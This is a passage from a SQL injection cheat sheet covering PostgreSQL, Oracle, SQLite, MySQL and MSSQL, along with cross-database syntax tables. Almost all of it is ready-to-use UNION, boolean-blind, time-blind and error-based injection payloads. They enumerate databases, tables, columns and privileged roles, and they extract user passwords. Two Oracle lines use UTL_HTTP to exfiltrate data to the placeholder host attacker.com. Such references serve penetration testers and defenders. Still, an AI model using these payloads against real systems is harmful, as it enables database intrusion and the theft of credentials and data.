' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1)='i'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=105-- -
-- Column count
' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5-- -
3.5 PostgreSQL User Enumeration
pg_roles and pg_user
-- All roles (UNION-based)
' UNION SELECT rolname FROM pg_roles-- -
' UNION SELECT 1, rolname FROM pg_roles-- -
-- Roles with superuser status
' UNION SELECT rolname, rolsuper FROM pg_roles-- -
-- Superusers only
' UNION SELECT rolname FROM pg_roles WHERE rolsuper = true-- -
-- All users
' UNION SELECT usename FROM pg_user-- -
-- Users with creation privilege
' UNION SELECT usename FROM pg_user WHERE usesuper = true-- -
-- Role count
' UNION SELECT COUNT(rolname) FROM pg_roles-- -
Boolean-based blind variants
-- Check if role exists
' AND (SELECT 1 FROM pg_roles WHERE rolname='postgres')-- -
-- Check if current user is superuser
' AND (SELECT rolsuper FROM pg_roles WHERE rolname = current_user)=true-- -
-- Role count
' AND (SELECT COUNT(rolname) FROM pg_roles)>5-- -
3.6 PostgreSQL Quick Reference Cheat Sheet
┌─────────────────────────────────────────────────────────────────┐
│ PostgreSQL Schema Extraction │
├─────────────────────────────────────────────────────────────────┤
│ Version: SELECT version(); │
│ User: SELECT current_user; │
│ Session: SELECT session_user; │
│ Database: SELECT current_database(); │
│ Databases: SELECT datname FROM pg_database; │
│ Tables: SELECT tablename FROM pg_tables; │
│ Columns: SELECT column_name FROM information_schema.columns │
│ WHERE table_name='users'; │
│ Roles: SELECT rolname, rolsuper FROM pg_roles; │
│ Sleep: SELECT pg_sleep(5); │
└─────────────────────────────────────────────────────────────────┘
| Purpose |
Query |
| Oracle version |
SELECT * FROM v$version; |
| Oracle banner |
SELECT banner FROM v$version; |
| Current user |
SELECT user FROM dual; |
| Current user (alt) |
SELECT sys_context('USERENV','CURRENT_USER') FROM dual; |
| Session user |
SELECT sys_context('USERENV','SESSION_USER') FROM dual; |
| Current schema |
SELECT sys_context('USERENV','CURRENT_SCHEMA') FROM dual; |
| Database name |
SELECT global_name FROM global_name; |
| DB domain |
SELECT sys_context('USERENV','DB_DOMAIN') FROM dual; |
| DB name |
SELECT sys_context('USERENV','DB_NAME') FROM dual; |
| Instance name |
SELECT instance_name FROM v$instance; |
| Is DBA? |
SELECT 1 FROM v$role_privs WHERE granted_role='DBA'-- - |
UNION-based variants
-- Version
' UNION SELECT banner FROM v$version-- -
' UNION SELECT 1, banner FROM v$version-- -
-- Current user
' UNION SELECT user FROM dual-- -
' UNION SELECT 1, user FROM dual-- -
-- Session user
' UNION SELECT sys_context('USERENV','SESSION_USER') FROM dual-- -
-- Database name
' UNION SELECT global_name FROM global_name-- -
-- Version, user, database
' UNION SELECT banner, user, global_name FROM v$version, global_name-- -
-- Instance name
' UNION SELECT instance_name FROM v$instance-- -
Boolean-based blind variants
-- Version starts with 'Oracle'
' AND SUBSTRING((SELECT banner FROM v$version),1,6)='Oracle'-- -
' AND ASCII(SUBSTRING((SELECT banner FROM v$version),1,1))=79-- -
-- User starts with 'S'
' AND SUBSTRING((SELECT user FROM dual),1,1)='S'-- -
-- Database name length
' AND LENGTH((SELECT global_name FROM global_name))>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT user FROM dual),1,1)='S'-- -
' AND SUBSTRING((SELECT user FROM dual),2,1)='Y'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT user FROM dual),1,1))=83-- -
Time-based blind variants
-- Version detection (using DBMS_LOCK.SLEEP or UTL_HTTP)
' AND (SELECT CASE WHEN SUBSTRING((SELECT banner FROM v$version),1,6)='Oracle' THEN (SELECT COUNT(*) FROM all_objects a, all_objects b, all_objects c) ELSE 0 END)>0-- -
-- Using UTL_HTTP for time-based
' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/?' || (SELECT user FROM dual)) FROM dual) IS NOT NULL-- -
-- Using DBMS_PIPE.RECEIVE_MESSAGE
' AND 1=(SELECT CASE WHEN SUBSTRING((SELECT user FROM dual),1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',10) ELSE 0 END)-- -
4.2 Enumerating Databases/Schemas
all_users
-- All users/schemas (UNION-based)
' UNION SELECT username FROM all_users-- -
' UNION SELECT 1, username FROM all_users-- -
-- User count
' UNION SELECT COUNT(username) FROM all_users-- -
-- Users with specific name pattern
' UNION SELECT username FROM all_users WHERE username LIKE '%ADMIN%'-- -
' UNION SELECT username FROM all_users WHERE username LIKE '%USER%'-- -
dba_users (requires DBA privilege)
-- All users with details (UNION-based)
' UNION SELECT username, account_status FROM dba_users-- -
' UNION SELECT 1, username, account_status FROM dba_users-- -
-- Users with specific status
' UNION SELECT username FROM dba_users WHERE account_status='OPEN'-- -
Boolean-based blind variants
-- Check if user exists
' AND (SELECT 1 FROM all_users WHERE username='SYS')-- -
-- Username length
' AND (SELECT LENGTH(username) FROM all_users WHERE ROWNUM=1)>3-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1)='A'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1))=65-- -
-- User count
' AND (SELECT COUNT(username) FROM all_users)>5-- -
4.3 Enumerating Tables
all_tables and user_tables
-- All accessible tables (UNION-based)
' UNION SELECT table_name FROM all_tables-- -
' UNION SELECT 1, table_name FROM all_tables-- -
-- Tables with owner
' UNION SELECT owner, table_name FROM all_tables-- -
-- Tables owned by current user
' UNION SELECT table_name FROM user_tables-- -
' UNION SELECT 1, table_name FROM user_tables-- -
-- Tables in specific schema
' UNION SELECT table_name FROM all_tables WHERE owner='SCOTT'-- -
-- Table count
' UNION SELECT COUNT(table_name) FROM all_tables-- -
-- Tables with specific name pattern
' UNION SELECT table_name FROM all_tables WHERE table_name LIKE '%USER%'-- -
' UNION SELECT table_name FROM all_tables WHERE table_name LIKE '%ADMIN%'-- -
-- Tables with row count
' UNION SELECT table_name, num_rows FROM all_tables-- -
Boolean-based blind variants
-- Check if table exists
' AND (SELECT 1 FROM all_tables WHERE table_name='USERS')-- -
-- Table name length
' AND (SELECT LENGTH(table_name) FROM all_tables WHERE ROWNUM=1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1)='U'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1))=85-- -
-- Table count
' AND (SELECT COUNT(table_name) FROM all_tables)>5-- -
4.4 Enumerating Columns
all_tab_columns
-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'-- -
' UNION SELECT 1, column_name FROM all_tab_columns WHERE table_name='USERS'-- -
-- Column name and data type
' UNION SELECT column_name, data_type FROM all_tab_columns WHERE table_name='USERS'-- -
-- Column name, data type, and length
' UNION SELECT column_name, data_type, data_length FROM all_tab_columns WHERE table_name='USERS'-- -
-- All columns with table name
' UNION SELECT table_name, column_name, data_type FROM all_tab_columns-- -
-- Columns in specific schema
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND owner='SCOTT'-- -
-- Column count for a table
' UNION SELECT COUNT(column_name) FROM all_tab_columns WHERE table_name='USERS'-- -
-- Columns with specific data type
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND data_type='VARCHAR2'-- -
user_tab_columns (current user’s tables)
-- Columns in current user's tables
' UNION SELECT column_name FROM user_tab_columns WHERE table_name='USERS'-- -
Boolean-based blind variants
-- Check if column exists
' AND (SELECT 1 FROM all_tab_columns WHERE table_name='USERS' AND column_name='PASSWORD')-- -
-- Column name length
' AND (SELECT LENGTH(column_name) FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1)='I'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1))=73-- -
-- Column count
' AND (SELECT COUNT(column_name) FROM all_tab_columns WHERE table_name='USERS')>5-- -
4.5 Oracle Quick Reference Cheat Sheet
┌─────────────────────────────────────────────────────────────────┐
│ Oracle Schema Extraction │
├─────────────────────────────────────────────────────────────────┤
│ Version: SELECT banner FROM v$version; │
│ User: SELECT user FROM dual; │
│ Database: SELECT global_name FROM global_name; │
│ Users: SELECT username FROM all_users; │
│ Tables: SELECT table_name FROM all_tables; │
│ Columns: SELECT column_name FROM all_tab_columns │
│ WHERE table_name='USERS'; │
│ User Tables: SELECT table_name FROM user_tables; │
│ Note: Oracle uses uppercase for identifiers by default │
└─────────────────────────────────────────────────────────────────┘
| Purpose |
Query |
| SQLite version |
SELECT sqlite_version(); |
| Library version number |
SELECT sqlite_compileoption_get(0); |
| Source ID |
SELECT sqlite_source_id(); |
UNION-based variants
-- Version
' UNION SELECT sqlite_version()-- -
' UNION SELECT 1, sqlite_version()-- -
-- Compile options
' UNION SELECT sqlite_compileoption_get(0)-- -
-- Source ID
' UNION SELECT sqlite_source_id()-- -
Boolean-based blind variants
-- Version starts with '3'
' AND SUBSTRING(sqlite_version(),1,1)='3'-- -
' AND ASCII(SUBSTRING(sqlite_version(),1,1))=51-- -
-- Version length
' AND LENGTH(sqlite_version())>3-- -
Time-based blind variants
-- Note: SQLite has limited built-in delay functions
-- Use load_extension if available
' AND (SELECT CASE WHEN SUBSTRING(sqlite_version(),1,1)='3' THEN (SELECT COUNT(*) FROM sqlite_master a, sqlite_master b) ELSE 0 END)>0-- -
5.2 Enumerating Tables
sqlite_master
-- All tables (UNION-based)
' UNION SELECT name FROM sqlite_master WHERE type='table'-- -
' UNION SELECT 1, name FROM sqlite_master WHERE type='table'-- -
-- All objects (tables, indexes, views, triggers)
' UNION SELECT type, name, tbl_name, sql FROM sqlite_master-- -
-- Tables with SQL definition
' UNION SELECT name, sql FROM sqlite_master WHERE type='table'-- -
-- Table count
' UNION SELECT COUNT(name) FROM sqlite_master WHERE type='table'-- -
-- Views
' UNION SELECT name FROM sqlite_master WHERE type='view'-- -
-- Indexes
' UNION SELECT name FROM sqlite_master WHERE type='index'-- -
-- Triggers
' UNION SELECT name FROM sqlite_master WHERE type='trigger'-- -
Boolean-based blind variants
-- Check if table exists
' AND (SELECT 1 FROM sqlite_master WHERE type='table' AND name='users')-- -
-- Table name length
' AND (SELECT LENGTH(name) FROM sqlite_master WHERE type='table' LIMIT 1)>5-- -
-- Character-by-character extraction
' AND SUBSTRING((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1)='u'-- -
-- Using ASCII
' AND ASCII(SUBSTRING((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))=117-- -
-- Table count
' AND (SELECT COUNT(name) FROM sqlite_master WHERE type='table')>5-- -
5.3 Enumerating Columns
PRAGMA table_info
-- Column info for a table (stacked query)
'; PRAGMA table_info(users)-- -
-- Column info via UNION (requires creative approach)
' UNION SELECT cid, name, type, notnull, dflt_value, pk FROM pragma_table_info('users')-- -
Boolean-based blind variants
-- Check column exists via type affinity
' AND (SELECT 1 FROM users WHERE typeof(password)='text')-- -
5.4 SQLite Limitations
┌─────────────────────────────────────────────────────────────────┐
│ SQLite Limitations │
├─────────────────────────────────────────────────────────────────┤
│ • No built-in SLEEP function (time-based is difficult) │
│ • No information_schema equivalent │
│ • Limited to sqlite_master for schema introspection │
│ • No user/role management (single-user database) │
│ • No database enumeration (single database file) │
│ • PRAGMA commands may not work in all injection contexts │
│ • load_extension may be disabled for security │
│ • No stacked queries in all contexts │
└─────────────────────────────────────────────────────────────────┘
5.5 SQLite Quick Reference Cheat Sheet
┌─────────────────────────────────────────────────────────────────┐
│ SQLite Schema Extraction │
├─────────────────────────────────────────────────────────────────┤
│ Version: SELECT sqlite_version(); │
│ Tables: SELECT name FROM sqlite_master WHERE type='table'; │
│ SQL Def: SELECT sql FROM sqlite_master WHERE type='table'; │
│ Columns: PRAGMA table_info('users'); │
│ Note: Limited functions, no info_schema, no users │
└─────────────────────────────────────────────────────────────────┘
6. Cross-Database Comparison Table
6.1 Version Detection
| Database |
Query |
| MySQL |
SELECT version(); |
| MSSQL |
SELECT @@version; |
| PostgreSQL |
SELECT version(); |
| Oracle |
SELECT banner FROM v$version; |
| SQLite |
SELECT sqlite_version(); |
6.2 Current User
| Database |
Query |
| MySQL |
SELECT user(); / SELECT current_user(); |
| MSSQL |
SELECT SYSTEM_USER; / SELECT USER_NAME(); |
| PostgreSQL |
SELECT current_user; / SELECT session_user; |
| Oracle |
SELECT user FROM dual; |
| SQLite |
N/A (no user concept) |
6.3 Current Database
| Database |
Query |
| MySQL |
SELECT database(); |
| MSSQL |
SELECT DB_NAME(); |
| PostgreSQL |
SELECT current_database(); |
| Oracle |
SELECT global_name FROM global_name; |
| SQLite |
N/A (single database) |
6.4 Enumerate Databases/Schemata
| Database |
Query |
| MySQL |
SELECT schema_name FROM information_schema.schemata; |
| MSSQL |
SELECT name FROM sys.databases; / SELECT name FROM master..sysdatabases; |
| PostgreSQL |
SELECT datname FROM pg_database; |
| Oracle |
SELECT username FROM all_users; |
| SQLite |
N/A (single database) |
6.5 Enumerate Tables
| Database |
Query |
| MySQL |
SELECT table_name FROM information_schema.tables WHERE table_schema=database(); |
| MSSQL |
SELECT name FROM sysobjects WHERE xtype='U'; / SELECT name FROM sys.tables; |
| PostgreSQL |
SELECT tablename FROM pg_tables; / SELECT table_name FROM information_schema.tables; |
| Oracle |
SELECT table_name FROM all_tables; / SELECT table_name FROM user_tables; |
| SQLite |
SELECT name FROM sqlite_master WHERE type='table'; |
6.6 Enumerate Columns
| Database |
Query |
| MySQL |
SELECT column_name FROM information_schema.columns WHERE table_name='users'; |
| MSSQL |
SELECT column_name FROM information_schema.columns WHERE table_name='users'; |
| PostgreSQL |
SELECT column_name FROM information_schema.columns WHERE table_name='users'; |
| Oracle |
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'; |
| SQLite |
PRAGMA table_info('users'); |
6.7 User/Role Enumeration
| Database |
Query |
| MySQL |
SELECT user, password FROM mysql.user; |
| MSSQL |
SELECT name FROM master..syslogins; |
| PostgreSQL |
SELECT rolname, rolsuper FROM pg_roles; |
| Oracle |
SELECT username FROM all_users; |
| SQLite |
N/A |
6.8 Privilege Checking
| Database |
Query |
| MySQL |
SHOW GRANTS; / SELECT file_priv FROM mysql.user; |
| MSSQL |
SELECT IS_SRVROLEMEMBER('sysadmin'); / SELECT IS_MEMBER('db_owner'); |
| PostgreSQL |
SELECT usesuper FROM pg_user WHERE usename=current_user; |
| Oracle |
SELECT 1 FROM v$role_privs WHERE granted_role='DBA'; |
| SQLite |
N/A |
6.9 Time-Based Delay Function
| Database |
Query |
| MySQL |
SLEEP(5) |
| MSSQL |
WAITFOR DELAY '0:0:5' |
| PostgreSQL |
pg_sleep(5) |
| Oracle |
DBMS_PIPE.RECEIVE_MESSAGE('a',5) |
| SQLite |
N/A (limited) |
| Database |
Comment Style |
| MySQL |
-- - / # / /* */ |
| MSSQL |
-- - / /* */ |
| PostgreSQL |
-- - / /* */ |
| Oracle |
-- - / /* */ |
| SQLite |
-- - / /* */ |
6.11 String Concatenation
| Database |
Syntax |
| MySQL |
CONCAT(a, b) |
| MSSQL |
a + b |
| PostgreSQL |
a || b or CONCAT(a, b) |
| Oracle |
a || b or CONCAT(a, b) |
| SQLite |
a || b or CONCAT(a, b) |
6.12 Substring Functions
| Database |
Syntax |
| MySQL |
SUBSTRING(str, pos, len) / MID(str, pos, len) |
| MSSQL |
SUBSTRING(str, pos, len) |
| PostgreSQL |
SUBSTRING(str FROM pos FOR len) / SUBSTRING(str, pos, len) |
| Oracle |
SUBSTRING(str, pos, len) |
| SQLite |
SUBSTRING(str, pos, len) / SUBSTR(str, pos, len) |
6.13 ASCII/Character Functions
| Database |
Syntax |
| MySQL |
ASCII(str) / CHAR(num) |
| MSSQL |
ASCII(str) / CHAR(num) |
| PostgreSQL |
ASCII(str) / CHR(num) |
| Oracle |
ASCII(str) / CHR(num) |
| SQLite |
UNICODE(str) / CHAR(num) |
6.14 Length Functions
| Database |
Syntax |
| MySQL |
LENGTH(str) / CHAR_LENGTH(str) |
| MSSQL |
LEN(str) / DATALENGTH(str) |
| PostgreSQL |
LENGTH(str) / CHAR_LENGTH(str) |
| Oracle |
LENGTH(str) |
| SQLite |
LENGTH(str) |
6.15 LIMIT/OFFSET Syntax
| Database |
Syntax |
| MySQL |
LIMIT offset, count |
| MSSQL |
OFFSET n ROWS FETCH FIRST m ROWS ONLY / TOP n |
| PostgreSQL |
LIMIT count OFFSET offset |
| Oracle |
WHERE ROWNUM <= n / FETCH FIRST n ROWS ONLY (12c+) |
| SQLite |
LIMIT count OFFSET offset |
MySQL
-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
-- Find visible columns
' UNION SELECT 1,2,3-- -
-- Version, user, database
' UNION SELECT version(), user(), database()-- -
-- All databases
' UNION SELECT schema_name,2,3 FROM information_schema.schemata-- -
-- All tables in current database
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -
-- All columns for a table
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
-- Extract data
' UNION SELECT username, password, 3 FROM users-- -
-- MySQL users
' UNION SELECT user, password, 3 FROM mysql.user-- -
MSSQL
-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
-- Find visible columns
' UNION SELECT 1,2,3-- -
-- Version, user, database
' UNION SELECT @@version, SYSTEM_USER, DB_NAME()-- -
-- All databases
' UNION SELECT name,2,3 FROM sys.databases-- -
-- All tables
' UNION SELECT name,2,3 FROM sysobjects WHERE xtype='U'-- -
-- All columns for a table
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -
-- Extract data
' UNION SELECT username, password, 3 FROM users-- -
-- Logins
' UNION SELECT name,2,3 FROM master..syslogins-- -
PostgreSQL
-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
-- Find visible columns
' UNION SELECT 1,2,3-- -
-- Version, user, database
' UNION SELECT version(), current_user, current_database()-- -
-- All databases
' UNION SELECT datname,2,3 FROM pg_database-- -
-- All tables
' UNION SELECT tablename,2,3 FROM pg_tables-- -
-- All columns for a table
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'-- -
-- Extract data
' UNION SELECT username, password, 3 FROM users-- -
-- Roles
' UNION SELECT rolname, rolsuper, 3 FROM pg_roles-- -
Oracle
-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
-- Find visible columns
' UNION SELECT 1,2,3 FROM dual-- -
-- Version, user
' UNION SELECT banner, user, 3 FROM v$version-- -
-- All users
' UNION SELECT username,2,3 FROM all_users-- -
-- All tables
' UNION SELECT table_name,2,3 FROM all_tables-- -
-- All columns for a table
' UNION SELECT column_name,2,3 FROM all_tab_columns WHERE table_name='USERS'-- -
-- Extract data
' UNION SELECT username, password, 3 FROM users-- -
SQLite
-- Determine column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
-- Find visible columns
' UNION SELECT 1,2,3-- -
-- Version
' UNION SELECT sqlite_version(),2,3-- -
-- All tables
' UNION SELECT name,2,3 FROM sqlite_master WHERE type='table'-- -
-- Table SQL definitions
' UNION SELECT name, sql, 3 FROM sqlite_master WHERE type='table'-- -
MySQL
-- Version character extraction
' AND SUBSTRING(version(),1,1)='5'-- -
' AND ASCII(SUBSTRING(version(),1,1))=53-- -
-- User character extraction
' AND SUBSTRING(user(),1,1)='r'-- -
' AND ASCII(SUBSTRING(user(),1,1))=114-- -
-- Database name extraction
' AND SUBSTRING(database(),1,1)='t'-- -
-- Database enumeration
' AND (SELECT SUBSTRING(schema_name,1,1) FROM information_schema.schemata LIMIT 0,1)='t'-- -
-- Table enumeration
' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='u'-- -
-- Column enumeration
' AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)='i'-- -
-- Data extraction
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 0,1)='p'-- -
-- Using MAKE_SET for binary extraction
' AND MAKE_SET(ASCII(SUBSTRING(version(),1,1))<48,1)-- -
MSSQL
-- Version character extraction
' AND SUBSTRING(@@version,1,1)='M'-- -
' AND ASCII(SUBSTRING(@@version,1,1))=77-- -
-- User character extraction
' AND SUBSTRING(SYSTEM_USER,1,1)='d'-- -
-- Database name extraction
' AND SUBSTRING(DB_NAME(),1,1)='t'-- -
-- Database enumeration
' AND SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m'-- -
-- Table enumeration
' AND SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)='u'-- -
-- Column enumeration
' AND SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1)='i'-- -
-- Data extraction
' AND SUBSTRING((SELECT TOP 1 password FROM users),1,1)='p'-- -
PostgreSQL
-- Version character extraction
' AND SUBSTRING(version(),1,1)='P'-- -
' AND ASCII(SUBSTRING(version(),1,1))=80-- -
-- User character extraction
' AND SUBSTRING(current_user,1,1)='p'-- -
-- Database name extraction
' AND SUBSTRING(current_database(),1,1)='t'-- -
-- Database enumeration
' AND SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p'-- -
-- Table enumeration
' AND SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1)='u'-- -
-- Column enumeration
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1)='i'-- -
-- Data extraction
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p'-- -
Oracle
-- Version character extraction
' AND SUBSTRING((SELECT banner FROM v$version),1,1)='O'-- -
' AND ASCII(SUBSTRING((SELECT banner FROM v$version),1,1))=79-- -
-- User character extraction
' AND SUBSTRING((SELECT user FROM dual),1,1)='S'-- -
-- User enumeration
' AND SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1)='A'-- -
-- Table enumeration
' AND SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1)='U'-- -
-- Column enumeration
' AND SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1)='I'-- -
-- Data extraction
' AND SUBSTRING((SELECT password FROM users WHERE ROWNUM=1),1,1)='p'-- -
SQLite
-- Version character extraction
' AND SUBSTRING(sqlite_version(),1,1)='3'-- -
' AND ASCII(SUBSTRING(sqlite_version(),1,1))=51-- -
-- Table enumeration
' AND SUBSTRING((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1)='u'-- -
-- Data extraction
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p'-- -
MySQL
-- Version detection
' AND IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0)-- -
' AND IF(ASCII(SUBSTRING(version(),1,1))=53, SLEEP(5), 0)-- -
-- User detection
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0)-- -
-- Database detection
' AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0)-- -
-- Database enumeration
' AND IF(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='t', SLEEP(5), 0)-- -
-- Table enumeration
' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u', SLEEP(5), 0)-- -
-- Column enumeration
' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i', SLEEP(5), 0)-- -
-- Data extraction
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='p', SLEEP(5), 0)-- -
-- Using CASE WHEN
' AND (SELECT CASE WHEN SUBSTRING(version(),1,1)='5' THEN SLEEP(5) ELSE 0 END)-- -
-- Using BENCHMARK for CPU-based delay
' AND IF(SUBSTRING(version(),1,1)='5', BENCHMARK(10000000, SHA1('test')), 0)-- -
MSSQL
-- Version detection
'; IF(SUBSTRING(@@version,1,1)='M' WAITFOR DELAY '0:0:5'-- -
-- User detection
'; IF(SUBSTRING(SYSTEM_USER,1,1)='d' WAITFOR DELAY '0:0:5'-- -
-- Database detection
'; IF(SUBSTRING(DB_NAME(),1,1)='t' WAITFOR DELAY '0:0:5'-- -
-- Database enumeration
'; IF(SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m' WAITFOR DELAY '0:0:5'-- -
-- Table enumeration
'; IF(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)='u' WAITFOR DELAY '0:0:5'-- -
-- Column enumeration
'; IF(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1)='i' WAITFOR DELAY '0:0:5'-- -
-- Data extraction
'; IF(SUBSTRING((SELECT TOP 1 password FROM users),1,1)='p' WAITFOR DELAY '0:0:5'-- -
PostgreSQL
-- Version detection
' AND (SELECT CASE WHEN SUBSTRING(version(),1,1)='P' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- User detection
' AND (SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Database detection
' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='t' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Database enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Table enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1)='u' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Column enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1)='i' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Data extraction
' AND (SELECT CASE WHEN SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Using WHERE clause
' AND (SELECT pg_sleep(5) WHERE SUBSTRING(version(),1,1)='P')-- -
Oracle
-- Version detection (using DBMS_PIPE)
' AND (SELECT CASE WHEN SUBSTRING((SELECT banner FROM v$version),1,1)='O' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
-- User detection
' AND (SELECT CASE WHEN SUBSTRING((SELECT user FROM dual),1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
-- User enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT username FROM all_users WHERE ROWNUM=1),1,1)='A' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
-- Table enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT table_name FROM all_tables WHERE ROWNUM=1),1,1)='U' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
-- Column enumeration
' AND (SELECT CASE WHEN SUBSTRING((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1),1,1)='I' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
-- Data extraction
' AND (SELECT CASE WHEN SUBSTRING((SELECT password FROM users WHERE ROWNUM=1),1,1)='p' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
-- Using UTL_HTTP for out-of-band
' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/?' || SUBSTRING((SELECT user FROM dual),1,1)) FROM dual) IS NOT NULL-- -
MySQL
-- Floor error-based (duplicate key)
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- Extractvalue error-based
' AND extractvalue(1, CONCAT(0x7e, version()))-- -
' AND extractvalue(1, CONCAT(0x7e, user()))-- -
' AND extractvalue(1, CONCAT(0x7e, database()))-- -
' AND extractvalue(1, CONCAT(0x7e, MID(version(),1,32)))-- -
-- Updatexml error-based
' AND updatexml(1, CONCAT(0x7e, version()), 1)-- -
' AND updatexml(1, CONCAT(0x7e, user()), 1)-- -
' AND updatexml(1, CONCAT(0x7e, database()), 1)-- -
-- GeometryCollection error-based
' AND GeometryCollection((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- Multipoint error-based
' AND Multipoint((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- Polygon error-based
' AND Polygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- MultiPolygon error-based
' AND MultiPolygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- LineString error-based
